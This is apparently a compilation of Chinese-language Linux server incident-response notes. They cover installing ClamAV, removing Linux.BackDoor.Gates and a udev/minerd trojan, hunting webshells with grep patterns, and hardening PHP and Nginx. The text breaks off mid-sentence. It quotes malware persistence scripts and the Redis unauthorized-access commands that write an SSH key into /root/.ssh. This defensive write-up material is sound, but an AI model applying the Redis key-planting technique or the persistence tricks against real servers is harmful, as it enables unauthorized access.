Resolving nchc.dl.sourceforge.net... 211.79.60.17, 

2001:e10:ffff:1f02::17 

Connecting to nchc.dl.sourceforge.net|211.79.60.17|:80... 

connected. 

HTTP request sent, awaiting response... 200 OK 

Length: 560351 (547K) [application/x-gzip] 

Saving to: “zlib-1.2.7.tar.gz” 

  

100%[==========================================

===================>] 560,351      287K/s   in 1.9s     
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3   

2015-08-21 22:00:26 (287 KB/s) - “zlib-1.2.7.tar.gz” saved 

[560351/560351] 

1、zlib-1.2.7.tar.gz 安装 

Shell 

 

1 

2 

3 

4 

5 

6 

7 

8 

9 

10 

11 

12 

13 

[root@LNX17 tmp]# tar xvzf zlib-1.2.7.tar.gz 

[root@LNX17 tmp]# cd zlib-1.2.7 

[root@LNX17 zlib-1.2.7]# ./configure  

Checking for gcc... 

Checking for shared library support... 

Building shared library libz.so.1.2.7 with gcc. 

Checking for off64_t... Yes. 

Checking for fseeko... Yes. 

Checking for strerror... Yes. 

Checking for unistd.h... Yes. 

Checking for stdarg.h... Yes. 

Checking whether to use vs[n]printf() or s[n]printf()... using 

vs[n]printf(). 
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15 

16 

17 

18 

19 
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28 

29 

30 

31 

32 

33 

34 

Checking for vsnprintf() in stdio.h... Yes. 

Checking for return value of vsnprintf()... Yes. 

Checking for attribute(visibility) support... Yes. 

Looking for a four-byte integer type... Found. 

[root@LNX17 zlib-1.2.7]# make && make install 

gcc -O3  -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN 

-I. -c -o example.o test/example.c 

gcc -O3  -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN   -c -o adler32.o adler32.c 

gcc -O3  -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN   -c -o crc32.o crc32.c 

gcc -O3  -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN   -c -o deflate.o deflate.c 

gcc -O3  -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN   -c -o infback.o infback.c 

gcc -O3  -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN   -c -o inffast.o inffast.c 

gcc -O3  -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN   -c -o inflate.o inflate.c 

gcc -O3  -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN   -c -o inftrees.o inftrees.c 
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50 

51 

52 
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54 

55 

gcc -O3  -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN   -c -o trees.o trees.c 

gcc -O3  -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN   -c -o zutil.o zutil.c 

gcc -O3  -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN   -c -o compress.o compress.c 

gcc -O3  -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN   -c -o uncompr.o uncompr.c 

gcc -O3  -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN   -c -o gzclose.o gzclose.c 

gcc -O3  -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN   -c -o gzlib.o gzlib.c 

gcc -O3  -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN   -c -o gzread.o gzread.c 

gcc -O3  -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN   -c -o gzwrite.o gzwrite.c 

ar rc libz.a adler32.o crc32.o deflate.o infback.o inffast.o inflate.o 

inftrees.o trees.o zutil.o compress.o uncompr.o gzclose.o gzlib.o 

gzread.o gzwrite.o  

gcc -O3  -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN 

-o example example.o -L. libz.a 
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gcc -O3  -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN 

-I. -c -o minigzip.o test/minigzip.c 

gcc -O3  -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN 

-o minigzip minigzip.o -L. libz.a 

gcc -O3  -fPIC -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN -DPIC -c -o objs/adler32.o adler32.c 

gcc -O3  -fPIC -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN -DPIC -c -o objs/crc32.o crc32.c 

gcc -O3  -fPIC -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN -DPIC -c -o objs/deflate.o deflate.c 

gcc -O3  -fPIC -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN -DPIC -c -o objs/infback.o infback.c 

gcc -O3  -fPIC -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN -DPIC -c -o objs/inffast.o inffast.c 

gcc -O3  -fPIC -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN -DPIC -c -o objs/inflate.o inflate.c 

gcc -O3  -fPIC -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN -DPIC -c -o objs/inftrees.o inftrees.c 

gcc -O3  -fPIC -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN -DPIC -c -o objs/trees.o trees.c 

gcc -O3  -fPIC -D_LARGEFILE64_SOURCE=1 
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-DHAVE_HIDDEN -DPIC -c -o objs/zutil.o zutil.c 

gcc -O3  -fPIC -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN -DPIC -c -o objs/compress.o compress.c 

gcc -O3  -fPIC -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN -DPIC -c -o objs/uncompr.o uncompr.c 

gcc -O3  -fPIC -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN -DPIC -c -o objs/gzclose.o gzclose.c 

gcc -O3  -fPIC -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN -DPIC -c -o objs/gzlib.o gzlib.c 

gcc -O3  -fPIC -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN -DPIC -c -o objs/gzread.o gzread.c 

gcc -O3  -fPIC -D_LARGEFILE64_SOURCE=1 

-DHAVE_HIDDEN -DPIC -c -o objs/gzwrite.o gzwrite.c 

gcc -shared -Wl,-soname,libz.so.1,--version-script,zlib.map 

-O3  -fPIC -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN 

-o libz.so.1.2.7 adler32.lo crc32.lo deflate.lo infback.lo inffast.lo 

inflate.lo inftrees.lo trees.lo zutil.lo compress.lo uncompr.lo 

gzclose.lo gzlib.lo gzread.lo gzwrite.lo  -lc  

rm -f libz.so libz.so.1 

ln -s libz.so.1.2.7 libz.so 

ln -s libz.so.1.2.7 libz.so.1 
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gcc -O3  -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN 

-o examplesh example.o -L. libz.so.1.2.7 

gcc -O3  -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN 

-o minigzipsh minigzip.o -L. libz.so.1.2.7 

gcc -O3  -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN 

-I. -D_FILE_OFFSET_BITS=64 -c -o example64.o 

test/example.c 

gcc -O3  -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN 

-o example64 example64.o -L. libz.a 

gcc -O3  -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN 

-I. -D_FILE_OFFSET_BITS=64 -c -o minigzip64.o 

test/minigzip.c 

gcc -O3  -D_LARGEFILE64_SOURCE=1 -DHAVE_HIDDEN 

-o minigzip64 minigzip64.o -L. libz.a 

cp libz.a /usr/local/lib 

chmod 644 /usr/local/lib/libz.a 

cp libz.so.1.2.7 /usr/local/lib 

chmod 755 /usr/local/lib/libz.so.1.2.7 

cp zlib.3 /usr/local/share/man/man3 

chmod 644 /usr/local/share/man/man3/zlib.3 

cp zlib.pc /usr/local/lib/pkgconfig 



资源由 www.eimhe.com 美河学习在线收集分享 

 

chmod 644 /usr/local/lib/pkgconfig/zlib.pc 

cp zlib.h zconf.h /usr/local/include 

chmod 644 /usr/local/include/zlib.h /usr/local/include/zconf.h 

2：添加用户组 clamav 和组成员 clamav 

Shell 

 

1 

2 

3 

[root@LNX17 zlib-1.2.7]# groupadd clamav 

[root@LNX17 zlib-1.2.7]# useradd -g clamav -s /bin/false -c 

"Clam AntiVirus" clamav 

[root@LNX17 zlib-1.2.7]# 

3：安装 Clamav-0.97.6 

Shell 

 

1 

2 

3 

4 

[root@LNX17 tmp]# tar xvzf clamav-0.97.6.tar.gz 

[root@LNX17 tmp]# cd clamav-0.97.6 

[root@LNX17 clamav-0.97.6]# ./configure 

--prefix=/opt/clamav  --disable-clamav 
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5 [root@LNX17 clamav-0.97.6]# make 

[root@LNX17 clamav-0.97.6]# make install 

配置 Clamav 

1：创建目录 

Shell 

 

1 

2 

3 

[root@LNX17 clamav-0.97.6]# mkdir /opt/clamav/logs  

  

[root@LNX17 clamav-0.97.6]# mkdir /opt/clamav/updata 

2：创建文件 

Shell 

 

1 

2 

3 

4 

5 

[root@LNX17 clamav-0.97.6]# touch 

/opt/clamav/logs/freshclam.log 

[root@LNX17 clamav-0.97.6]# touch 

/opt/clamav/logs/clamd.log 

[root@LNX17 clamav-0.97.6]#  
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[root@LNX17 clamav-0.97.6]# cd /opt/clamav/logs 

[root@LNX17 clamav]# cd logs 

[root@LNX17 logs]# ls 

clamd.log  freshclam.log 

[root@LNX17 logs]# ls -lrt 

total 0 

-rw-r--r--. 1 root root 0 Aug 21 22:10 freshclam.log 

-rw-r--r--. 1 root root 0 Aug 21 22:10 clamd.log 

3:修改属主 

Shell 

 

1 

2 

3 

4 

5 

6 
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[root@LNX17 logs]# chown clamav:clamav clamd.log  

[root@LNX17 logs]# chown clamav:clamav freshclam.log  

[root@LNX17 logs]# ls -lrt 

total 0 

-rw-r--r--. 1 clamav clamav 0 Aug 21 22:10 freshclam.log 

-rw-r--r--. 1 clamav clamav 0 Aug 21 22:10 clamd.log 

[root@LNX17 logs]# 
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4：修改配置文件 

#vi /opt/clamav 

/etc/clam.conf 

# Example 注释掉这一行. 第 8 行 

LogFile /opt/clamav/logs/clamd.log 删掉前面的注释目录

改为/opt/clamav/logs/clamd.log 

PidFile /opt/clamav/updata/clamd.pid 删掉前面的注释

路径改为/opt/clamav/updata/clamd.pid 

DatabaseDirectory /opt/clamav/updata 同上 

#vi /opt/clamav 

/etc/clamfreshclam.conf ， 将 Example 这一行注释掉。

否则在更新反病毒数据库是就有可能出现下面错误 

[root@LNX17 clamav]# /opt/clamav/bin/freshclam 

ERROR: Please edit the example config file 

/opt/clamav/etc/freshclam.conf 

ERROR: Can’t open/parse the config file 

/opt/clamav/etc/freshclam.conf 
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5：升级病毒库 

[root@LNX17 etc]# /opt/clamav/bin/freshclam 

ERROR: Can’t change dir to 

/opt/clamav/share/clamav 

出现上面错误，直接创建一个文件夹并授权给 clamav 用户即

可。 
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Shell 

 

1 

2 

3 

4 

5 

6 

7 

8 

9 

10 

11 

12 

13 

14 

15 

16 

17 

18 

[root@LNX17 etc]# mkdir -p /opt/clamav/share/clamav 

[root@LNX17 etc]# chown clamav:clamav 

/opt/clamav/share/clamav 

[root@LNX17 etc]#  

  

[root@LNX17 etc]# /opt/clamav/bin/freshclam 

ClamAV update process started at Fri Aug 21 22:42:18 2015 

WARNING: Your ClamAV installation is OUTDATED! 

WARNING: Local version: 0.97.6 Recommended version: 0.98.7 

DON'T PANIC! Read http://www.clamav.net/support/faq 

nonblock_connect: connect timing out (30 secs) 

Can't connect to port 80 of host database.clamav.net (IP: 

211.239.150.206) 

Trying host database.clamav.net (120.29.176.126)... 

nonblock_recv: recv timing out (30 secs) 

WARNING: getfile: Download interrupted: Operation now in 

progress (IP: 120.29.176.126) 

WARNING: Can't download main.cvd from database.clamav.net 
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Trying again in 5 secs... 

ClamAV update process started at Fri Aug 21 23:03:32 2015 

WARNING: Your ClamAV installation is OUTDATED! 

WARNING: Local version: 0.97.6 Recommended version: 0.98.7 

DON'T PANIC! Read http://www.clamav.net/support/faq 

Downloading main.cvd [100%] 

main.cvd updated (version: 55, sigs: 2424225, f-level: 60, builder: 

neo) 

Downloading daily.cvd [100%] 

daily.cvd updated (version: 20817, sigs: 1537382, f-level: 63, 

builder: neo) 

Downloading bytecode.cvd [100%] 

bytecode.cvd updated (version: 268, sigs: 47, f-level: 63, builder: 

anvilleg) 

Database updated (3961654 signatures) from database.clamav.net 

(IP: 219.94.128.99) 
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由于 ClamAV 不是最新版本，所以有告警信息。可以忽略或升

级最新版本。病毒库需要定期升级，例如我第二天升级病毒库 

Shell 
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2 

3 
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6 

[root@LNX17 ~]# /opt/clamav/bin/freshclam 

ClamAV update process started at Mon Aug 24 10:10:25 2015 

WARNING: Your ClamAV installation is OUTDATED! 

WARNING: Local version: 0.97.6 Recommended version: 0.98.7 

DON'T PANIC! Read http://www.clamav.net/support/faq 

main.cvd is up to date (version: 55, sigs: 2424225, f-level: 60, 
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builder: neo) 

Downloading daily-20818.cdiff [100%] 

Downloading daily-20819.cdiff [100%] 

Downloading daily-20820.cdiff [100%] 

Downloading daily-20821.cdiff [100%] 

Downloading daily-20822.cdiff [100%] 

Downloading daily-20823.cdiff [100%] 

Downloading daily-20824.cdiff [100%] 

Downloading daily-20825.cdiff [100%] 

Downloading daily-20826.cdiff [100%] 

Downloading daily-20827.cdiff [100%] 

Downloading daily-20828.cdiff [100%] 

Downloading daily-20829.cdiff [100%] 

daily.cld updated (version: 20829, sigs: 1541624, f-level: 63, 

builder: neo) 

bytecode.cvd is up to date (version: 268, sigs: 47, f-level: 63, 

builder: anvilleg) 

Database updated (3965896 signatures) from database.clamav.net 

(IP: 203.178.137.175) 
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6：ClamAV 使用 

可以使用/opt/clamav/bin/clamscan -h 查看相应的帮助信

息 

 

· 扫描所有用户的主目录就使用 clamscan -r /home 
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· 扫描您计算机上的所有文件并且显示所有的文件的扫描结果，

就使用 clamscan -r / 

· 扫描您计算机上的所有文件并且显示有问题的文件的扫描结

果，就使用 clamscan -r –bell -i / 

执行下面命令扫描根目录下面的所有文件。如下所示：56 个文

件 被 感 染 了 。 基 本 上 都 是 Linux.Trojan.Agent 和

Linux.Backdoor.Gates 等。 

/opt/clamav/bin/clamscan -r –bell -i 
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手工删除这些文件。然后重新扫描一下，发现木马已经被清理完

成。但是按照网上资料进一步查找发现木马启动程序 

Shell 

 

1 [root@LNX17 ~]# cd /etc/init.d/ 
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[root@LNX17 init.d]# ls Db* 

DbSecurityMdt  DbSecuritySpt 

[root@LNX17 init.d]# ls sel* 

selinux 

[root@LNX17 init.d]# more selinux  

#!/bin/bash 

/usr/bin/bsd-port/getty 

[root@LNX17 init.d]# more DbSecuritySpt  

#!/bin/bash 

/home/WDPM/Development/WebServer/apache-tomcat-7.0.61/c

mys 

[root@LNX17 init.d]# more DbSecurityMdt  

#!/bin/bash 

/root/cmy6 

[root@LNX17 init.d]# more DbSecurityMdt  

#!/bin/bash 

/root/cmy6 
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6 

1

7 

Shell 

 

1 

2 

3 

4 

5 

6 

7 

8 

9 

10 

11 

12 

13 

14 

[root@LNX17 bin]# ls bsd* 

  

agent.conf cmd.n conf.n getty.lock 

  

[root@LNX17 bin]# cd bsd-port/ 

  

[root@GETLNX17 bsd-port]# ls 

  

agent.conf cmd.n conf.n getty.lock 

  

[root@LNX17 bsd-port]# more agent.conf  

  

3341 
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15 

16 

17 

18 

19 

20 

21 

[root@LNX17 bsd-port]# more getty.lock  

  

1013 

  

[root@LNX17 bsd-port]# cd .. 

  

[root@LNX17 bin]# rm -rf bsd-port 
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此时在用 nethogs 监控进程的网络流量，发现已经没有异常进

程了，应该算是彻底清除了。 

  

关于 Linux.Backdoor.Gates，看到一篇介绍资料了相关内容：

Linux.BackDoor.Gates.5——又一针对 Linux 的木马, 具体

内容如下所示： 

—————————————————————————

————————————————— 

某些用户有一种根深蒂固的观念，就是目前没有能够真正威胁

Linux 内核操作系统的恶意软件，然而这种观念正在面临越来越

多的挑战。与 4 月相比，2014 年 5 月 Doctor Web 公司的技

术人员侦测到的 Linux 恶意软件数量创下了新纪录，六月份这

些恶意软件名单中又增加了一系列新的 Linux 木马，这一新木

马家族被命名为 Linux.BackDoor.Gates。 
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在这里描述的是恶意软件家族 Linux.BackDoor.Gates 中的一

个木马：Linux.BackDoor.Gates.5，此恶意软件结合了传统后

门程序和 DDoS 攻击木马的功能，用于感染 32 位 Linux 版本，

根据其特征可以断定，是与 Linux.DnsAmp 和 Linux.DDoS

家族木马同出于一个病毒编写者之手。新木马由两个功能模块构

成：基本模块是能够执行不法分子所发指令的后门程序，第二个

模块在安装过程中保存到硬盘，用于进行 DDoS 攻击。

Linux.BackDoor.Gates.5 在运行过程中收集并向不法分子转

发受感染电脑的以下信息： 

CPU 核数（从/proc/cpuinfo 读取）。 

CPU 速度（从/proc/cpuinfo 读取）。 

CPU 使用（从/proc/stat 读取）。 

Gate’a 的 IP（从/proc/net/route 读取）。 

Gate’a 的 MAC 地址（从/proc/net/arp 读取）。 

网络接口信息（从/proc/net/dev 读取）。 

网络设备的 MAC 地址。 

内存（使用/proc/meminfo 中的 MemTotal 参数）。 

发送和接收的数据量（从/proc/net/dev 读取）。 



资源由 www.eimhe.com 美河学习在线收集分享 

 

操作系统名称和版本（通过调用 uname 命令）。 

启动后，Linux.BackDoor.Gates.5 会检查其启动文件夹的路

径，根据检查得到的结果实现四种行为模式。 

如果后门程序的可执行文件的路径与 netstat、lsof、ps 工具的

路径不一致，木马会伪装成守护程序在系统中启动，然后进行初

始化，在初始化过程中解压配置文件。配置文件包含木马运行所

必须的各种数据，如管理服务器 IP 地址和端口、后门程序安装

参数等。 

根据配置文件中的 g_iGatsIsFx 参数值，木马或主动连接管理服

务器，或等待连接：成功安装后，后门程序会检测与其连接的站

点的 IP 地址，之后将站点作为命令服务器。 

木马在安装过程中检查文件/tmp/moni.lock，如果该文件不为

空，则读取其中的数据（PID 进程）并“干掉”该 ID 进程。然

后 Linux.BackDoor.Gates.5 会检查系统中是否启动了 DDoS

模块和后门程序自有进程（如果已启动，这些进程同样会被“干

掉”）。如果配置文件中设置有专门的标志 g_iIsService，木马

通 过 在 文 件 /etc/init.d/ 中 写 入 命 令 行

#!/bin/bash\n<path_to_backdoor>将自己设为自启动，然

后 Linux.BackDoor.Gates.5 创建下列符号链接： 
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ln -s /etc/init.d/DbSecuritySpt 

/etc/rc1.d/S97DbSecuritySpt 

ln -s /etc/init.d/DbSecuritySpt 

/etc/rc2.d/S97DbSecuritySpt 

ln -s /etc/init.d/DbSecuritySpt 

/etc/rc3.d/S97DbSecuritySpt 

ln -s /etc/init.d/DbSecuritySpt 

/etc/rc4.d/S97DbSecuritySpt 

如果在配置文件中设置有标志 g_bDoBackdoor，木马同样会

试图打开/root/.profile 文件，检查其进程是否有 root 权限。

然后后门程序将自己复制到/usr/bin/bsd-port/getty 中并启

动。在安装的最后阶段，Linux.BackDoor.Gates.5 在文件夹

/usr/bin/再次创建一个副本，命名为配置文件中设置的相应名

称，并取代下列工具： 

/bin/netstat 

/bin/lsof 

/bin/ps 

/usr/bin/netstat 
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/usr/bin/lsof 

/usr/bin/ps 

/usr/sbin/netstat 

/usr/sbin/lsof 

/usr/sbin/ps 

木马以此完成安装，并开始调用基本功能。 

执行另外两种算法时木马同样会伪装成守护进程在被感染电脑

启动，检查其组件是否通过读取相应的.lock 文件启动（如果未

启动，则启动组件），但在保存文件和注册自启动时使用不同的

名称。 

与命令服务器设置连接后，Linux.BackDoor.Gates.5 接收来自

服务器的配置数据和僵尸电脑需完成的命令。按照不法分子的指

令，木马能够实现自动更新，对指定 IP 地址和端口的远程站点

发起或停止 DDoS 攻击，执行配置数据所包含的命令或通过与

指定 IP 地址的远程站点建立连接来执行其他命令。 

此后门程序的主要 DDoS 攻击目标是中国的服务器，然而不法

分子攻击对象也包括其他国家。下图为利用此木马进行的 DDoS

攻击的地理分布： 
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阿里云 CentOS 木马查杀--/lib/udev/udev 

 

一、背景 

这两天发现自己的 阿里云 服务器上 CPU 基本都是打满

的， $> top 查看了一下，尽是些乱七八糟命名的进程，也是醉

了： 

 

再 $> ll /proc/22303 看了一下，擦，我啥时候

在 /usr/bin/ 下放过这东西了。。。 

 

且杀之： 
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kill 22303 

rm -f /usr/bin/lrzzxgbatw 

以为一切都好了，过了两分钟再 $> top 看了一下，尼玛，又

一个不认识的东西出来了，CPU 又吃满了，重复之前的方式，

再杀了一次。。。 

repeat。。。repeat。。。repeat。。。 

二、排查 

写了一个简单的 crontab 程序来监控 CPU 占用最多的程序，

都是啥： 

#! sh 

 

mail_to="xxx@xxx.com" 

virus_found=1 

log_path="/home/work/what-virus.log" 

# 白名单进程 

process_white_list="svn node mysql memcache re

dis nginx" 



资源由 www.eimhe.com 美河学习在线收集分享 

 

# 找到 CPU占用最大的进程 

process_result=$(ps auxw --sort=-%cpu | head -

n 2 | tail -n 1 | awk '$3>50{print $0"\n"}') 

 

for $w in $process_white_list;do 

    gpr=$(echo $process_result | grep $w) 

    if [[ x"$gpr" != x ]];then 

        virus_found=0; 

        break; 

    fi 

done 

 

# 发现真的有异常进程，则邮件报警 

if [[ $virus_found == 1 ]];then 

    echo $process_result >> $log_path 
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    echo $process_result | mail -s "virus found!

" $mail_to 

fi 

的确，短短的时间内，报警一直在持续，而且，从报警内容中

能看到，真正在执行的命令，都太简单： 

root     24000 63.7  0.0  21316   468 ?        Ss

l  Jan13 275:03 pwd 

root     24000 63.7  0.0  21316   468 ?        Ss

l  Jan13 275:03 su 

root     24000 63.7  0.0  21316   468 ?        Ss

l  Jan13 275:03 ls 

好吧，就是这些简单的命令，大批量执行，搞挂了。。。 

三、重启 

想着，实在懒得花时间去跟到底了，试一试万能的 重启 吧，

结果， 事不遂人愿，重启了还尼玛一个样，那没办法，我只能

猜测，这玩意儿已经是 自动启动 了，于是检查了一下这两个东

西： 
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1、chkconfig --list 

lrzzxgbatw      0:关闭    1:启用    2:启用    3:启

用    4:启用    5:启用    6:关闭 

qzaclxgbjwo     0:关闭    1:启用    2:启用    3:启

用    4:启用    5:启用    6:关闭 

果然发现多出来这两个，什么鬼东西，果断 chkconfig 

--del 掉！ 

2、vi /etc/rc.local 

cp /lib/udev/udev /lib/udev/debug && /lib/udev

/debug 

这又是什么东西，也不是我亲自加的啊， 陌生的东西都删掉！ 

这尼玛一定有鬼，看来，是必须要花时间继续分析的了。。。 

四、定位 

猜测应该是用 crontab 定时拉起来的一堆 木马 ，于是查了下

crontab 的内容，果然： 

1、/etc/crontab 

*/3 * * * * root /etc/cron.hourly/cron.sh 

*/3 * * * * root /etc/cron.hourly/kill.sh 
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这两个定时任务，并非我亲自加的，那就应该有鬼了，继续看

这两个 *.sh 文件 

2、/etc/cron.hourly/cron.sh 

#!/bin/sh 

 

PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/

bin:/usr/local/sbin:/usr/X11R6/bin 

for i in ̀ cat /proc/net/dev|grep :|awk -F: {'pr

int $1'}`; do ifconfig $i up& done 

cp /lib/udev/udev /lib/udev/debug 

/lib/udev/debug 

3、/etc/cron.hourly/kill.sh 

#!/bin/sh 

 

PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/

bin:/usr/local/sbin:/usr/X11R6/bin 
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for i in ̀ cat /proc/net/dev|grep :|awk -F: {'pr

int $1'}`; do ifconfig $i up& done 

cp /lib/libkill.so /lib/libkill.so.6 

/lib/libkill.so.6 

为毛别的系统都没有这两个东西，而且内容还这么古怪，单

看 cron.sh 基本能分析出来它的 毒害 原理了，我的猜测： 

 /lib/udev/udev 是病原体 

 通过 cron.sh 每隔 3min 自动检测一次，如果木马程序不

存在，就从病原体复制一份儿到 /lib/udev/debug 

 副本 /lib/udev/debug 执行，生成一个 随机命名 的程

序，丢到 /usr/bin/ 、/boot 等目录 

 同时修改了自启动配置 chkconfig --add xxx 

 同时修改自启动项 /etc/rc.local 

五、解决 

问题定位了，就好解决了 

 删除病原体 /lib/udev/udev 以及其副

本 `/lib/udev/debug 

 删除 /usr/bin/ 、 /boot/ 下可疑的程序 

 删掉自启动配置中可疑的 item： chkconfig --del xxx 
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 删掉可疑的自启动项： vi /etc/rc.local 

 删除 /etc/crontab 下可疑的任务 

 删除 /etc/cron.hourly/ 下可疑的 sh 脚本 

 重启，这一步可能只是一个心理安慰 

六、回头再想想 

木马程序为毛会出现，而且是 root 账号下，应该是之前风靡

的 redis 漏洞引起的吧，只怪我修复的太晚！ 另外，

从 /var/log/sercure 日志也能分析出来，系统的确存

在 root 账号暴力破解，算了， root 太危险，索性禁用掉吧！ 

 

 

 

 

Linux 系统木马后门查杀方法详解 

木马和后门的查杀是系统管理员一项长期需要坚持的工作，切不

可掉以轻心。以下从几个方面在说明 Linux 系统环境安排配置防

范和木马后门查杀的方法： 

一、Web Server（以 Nginx 为例） 

1、为防止跨站感染，将虚拟主机目录隔离（可以直接利用 fpm

建立多个程序池达到隔离效果） 
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2、上传目录、include 类的库文件目录要禁止代码执行（Nginx

正则过滤） 

3、path_info 漏洞修正： 

在 nginx 配置文件中增加： 

if ($request_filename ~* (.*)\.php) { 

set $php_url $1; 

         } 

if (!-e $php_url.php) { 

return 404; 

    } 

4、重新编译 Web Server，隐藏 Server 信息 

5、打开相关级别的日志，追踪可疑请求，请求者 IP 等相关信息。 

二.改变目录和文件属性，禁止写入 

find -type f -name \*.php -exec chmod 444 {} \; 

find -type d -exec chmod 555 {} \; 

注：当然要排除上传目录、缓存目录等； 

同时最好禁止 chmod 函数，攻击者可通过 chmod 来修改文件

只读属性再修改文件！ 

三.PHP 配置 
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修改 php.ini 配置文件，禁用危险函数： 

disable_funcions = 

dl,eval,exec,passthru,system,popen,shell_exec,

proc_open,proc_terminate,curl_exec,curl_multi_

exec,show_source,touch,escapeshellcmd,escapesh

ellarg 

四.MySQL 数据库账号安全： 

禁止 mysql 用户外部链接，程序不要使用 root 账号，最好单独

建立一个有限权限的账号专门用于 Web 程序。 

五.查杀木马、后门 

grep -r –include=*.php  ‘[^a-z]eval($_POST’ . > 

grep.txt 

grep -r –include=*.php  

‘file_put_contents(.*$_POST\[.*\]);’ . > 

grep.txt 

把搜索结果写入文件，下载下来慢慢分析，其他特征木马、后门

类似。有必要的话可对全站所有文件来一次特征查找，上传图片

肯定有也捆绑的，来次大清洗。 

查找近 2 天被修改过的文件： 

find -mtime -2 -type f -name \*.php 
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注意：攻击者可能会通过 touch 函数来修改文件时间属性来避

过这种查找，所以 touch 必须禁止 

六.及时给 Linux 系统和 Web 程序打补丁，堵上漏洞 

 

 

Linux-下如何查找木马并处理.txt 

1、cat /etc/passwd 未发现陌生用户和可疑 root 权限用户。 

 

2、netstat -anp 查看所有进程及 pid 号，未发现异常连接。 

 

3、last 查看最近登录用户，未发现异常 

 

4、cat /etc/profile 查看系统环境变量，未发现异常 

 

5、ls -al /etc/rc.d/rc3.d ，查看当前级别下开机启动程序，未见异

常（有一些脸生，只好利用搜索引擎了） 

 

6、crontab -l 检查计划任务，root 用户和 web 运行用户各检查一

遍，未见任何异常 

 

7、cat /root/.bashrc 和 cat /home/用户/.bashrc 查看各用户变量，
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未发现异常 

 

8 、查看系统日志。主要是 /var/log/messages( 进程日志 )、

/var/log/wtmp( 系 统 登 录 成 功 日 志  who /var/log/wtmp) 、

/var/log//bmtp(系统登录失败日志)、/var/log/pureftpd.log(pureftpd

的连接日志)，未发现异常（考虑到了可能的日志擦除，重点看

了日志的连续性，未发现明显的空白时间段） 

 

9、history 查看命令历史。cat /home/用户/.bash_history 查看各用

户命令记录，未发现异常 

 

10、系统的查完了，就开始查 web 的。初步查看各站点修改时间，

继而查看各站点的 access.log 和 error.log（具体路径不发了  ），

未发现报告时间前后有异常访问。虽有大量攻击尝试，未发现成

功。 

 

11、日志分析完毕，查找可能存在的 webshell。方法有两个，其

一在服务器上手动查找；其二，将 web 程序下载到本地使用

webshellscanner或者web杀毒等软件进行查杀。考虑到站点较多，

数据量大，按第一种方法来。 

 

在 linux 上查找 webshell 基本两个思路：修改时间和特征码查找。 
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特征码例子：find 目录 -name "*.php"（asp、aspx 或 jsp） |xargs 

grep "POST[（特征码部分自己添加）" |more  

 

修改时间：查看最新 3 天内修改的文件，find 目录 -mtime 0 -o 

-mtime 1 -o -mtime 2 

 

当然也可以将两者结合在一起，find 目录 -mtime 0 -o -mtime 1 

-o -mtime 2 -name "*.php" 

 

的确查找到了一些停用的站点下有 webshell 

 

12、后来根据更详细的监测信息，确认是误报。。。。伤不起 

 

 

彻底清除 Linux centos minerd 木马 

前几天，公司两台 linux 服务器，一台访问速度很慢，cpu 跑满，

一台免密码登录失效，公钥文件被改写成 redis 的 key。用 htop

命令查询发现了 minerd 木马进程，初步猜测是 redis 没有配访

问权限造成的。网上查询 minerd 木马，发现这是一个很常见的

挖矿程序，相关猜测也得到了验证。 
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下文是网上搜索到的清除 minerd 木马方法。 

现状描述 

1、top 可以看到，这个 minerd 程序把 cpu 跑满了 

 

2、ps aux | grep minerd 

可知是这个程序: /opt/minerd 

这个不是我们自己启动的，可以断定服务器被黑了 

这个进程是 root 用户启动的，代码有漏洞可能性不大（web 服

务是 www 用户启动的），多半黑客已经登录服务器了 
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3、有可能是免密登录了，去/root/.ssh 目录下，并没有发现

authorized_keys，但发现了 KHK75NEOiq 这个文件 

查看 vim KHK75NEOiq 

可以看到内容就是免密码登录的公钥 

 

4、在 ssh 的配置文件/etc/ssh/sshd_config 中也可以看到把

AuthorizedKeysFile 指向了这个文件了（.ssh/KHK75NEOiq） 

猜想是这样的：通过 authorized_keys 免密码登录后，在这个目

录下创建了 KHK75NEOiq 这个文件，修改了

AuthorizedKeysFile 的指向，就把 authorized_keys 这个文件删

除了。 
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5、那么是写进来 authorized_keys 的那？ 

之前我处理过类似的问题，是 redis 未授权导致的，也就是说外

网可以直接不用密码登录我的 redis, 连上 redis 后，通过以下命

令即可创建文件： 

config set dir /root/.ssh 

config set dbfilename authorized_keys 

set key value，其中 value 为生成公钥，即可将公钥保存在服

